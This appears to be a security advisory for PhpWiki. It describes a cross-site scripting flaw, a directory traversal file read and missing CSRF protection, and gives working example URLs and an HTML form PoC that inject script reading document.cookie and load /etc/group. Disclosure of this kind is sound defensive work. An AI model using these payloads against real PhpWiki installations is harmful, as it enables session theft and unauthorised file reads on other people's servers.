1/ Cross Site Scripting

Cross-site scripting vulnerability in user preferences allows remote unauthenticated users to inject arbitrary web script by injecting code via GET or POST 'pagename' parameter. 

Example url:
http://192.168.0.10/phpwiki/index.php?pagename=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C!--

Example request:
POST /phpwiki/index.php/UserPreferences HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

2/ Local File Inclusion

Directory traversal vulnerability in file load section allows authenticated attackers to read arbitrary files via POST or GET 'source' parameter. Content of file will be later available in created page.

Example url:
http://192.168.0.10/phpwiki/index.php/PhpWikiAdministration?action=loadfile&overwrite=1&source=/etc/group

3/ Cross Site Request Forgery

Since there is no csrf protection in application, remote attacker is able to trigger specific actions.

PoC:
<html>
  <!-- Change settings / XSS -->
  <body>
    <form action="http://192.168.0.10/phpwiki/index.php/UserPreferences" method="POST">
      <input type="hidden" name="pref&#91;email&#93;" value="" />
      <input type="hidden" name="pref&#91;notifyPages&#93;" value="" />
      <input type="hidden" name="pref&#91;theme&#93;" value="" />
      <input type="hidden" name="pref&#91;lang&#93;" value="" />
      <input type="hidden" name="pref&#91;editHeight&#93;" value="22" />
      <input type="hidden" name="pref&#91;editWidth&#93;" value="80" />
      <input type="hidden" name="pref&#91;timeOffset&#93;" value="0" />
      <input type="hidden" name="pagename" value="UserPreferencesabc<&#47;script><script>alert&#40;document&#46;cookie&#41;<&#47;script><&#33;&#45;&#45;" />
      <input type="hidden" name="action" value="browse" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
